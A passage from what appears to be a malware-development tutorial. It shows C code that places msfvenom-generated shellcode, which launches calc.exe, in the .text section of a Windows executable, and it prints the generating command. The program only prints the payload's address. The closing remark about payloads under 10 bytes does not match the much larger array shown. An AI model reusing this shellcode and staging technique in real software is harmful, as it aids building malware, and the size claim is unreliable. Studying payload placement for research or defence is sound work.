Saving the data in .text is different than the previous two. We must instruct the compiler to save it in the .text section, which is demonstrated in the following code.
#include <Windows.h>
#include <stdio.h>
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char payload[] =
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x61\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";
int main() {
printf("Payload var: 0x%p\\n", payload);
printf("Enter to exit...\\n");
getchar();
return 0;
}

This is useful when payload is less than 10 bytes.